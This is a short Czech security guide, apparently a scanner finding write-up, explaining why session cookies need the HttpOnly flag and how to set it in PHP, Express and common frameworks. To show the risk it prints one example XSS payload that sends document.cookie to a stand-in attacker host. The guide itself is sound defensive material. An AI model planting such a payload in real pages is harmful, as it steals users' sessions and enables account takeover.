Session cookie nemá HttpOnly flag
Co to je
Cookie nastavená bez HttpOnly flagu je čitelná z JavaScriptu přes document.cookie. Útočník, kterému se podaří dostat na stránku jakýkoliv kus JS (XSS), si ji pak přečte a pošle si ji.
Proč je to problém
Bez HttpOnly stačí útočníkovi jediný malý XSS (komentářové pole, profilové bio, search query) a má hotovo — ukradne session cookie a přihlásí se jako vy. Tady je obvyklý payload:
<script>
fetch('https://attacker.example/' + btoa(document.cookie))
</script>S HttpOnly je document.cookie prázdný a útok selže. XSS sám o sobě je pořád problém, ale aspoň session zůstane.
Jak to opravit
HttpOnly je flag — nastavujete ho při tvorbě cookie. Téměř všechny frameworky ho mají defaultně, jen ho někdy explicitně vypnete.
PHP
# php.ini
session.cookie_httponly = 1
# nebo přímo v kódu
setcookie('name', $value, [
'httponly' => true,
'secure' => true,
'samesite' => 'Lax',
]);Node.js (express)
res.cookie('session', token, {
httpOnly: true,
secure: true,
sameSite: 'lax',
});Laravel / Django / Rails
HttpOnly je defaultně zapnuto ve všech moderních session middleware. Pokud váš nález ukazuje cookie bez něj, někdo to v configu vypnul. Vraťte default.
Co nesmí mít HttpOnly
Cookies, které úmyslně čte JavaScript — typicky CSRF token (např. Laravelův XSRF-TOKEN). To je v pořádku, protože útočník s XSS už CSRF token nepotřebuje.
Cookie obsahující session identifier nebo auth token ale musí být HttpOnly vždy.
Ověření
DevTools → Application → Cookies → sloupec HttpOnly. Pro session/auth cookies musí být true.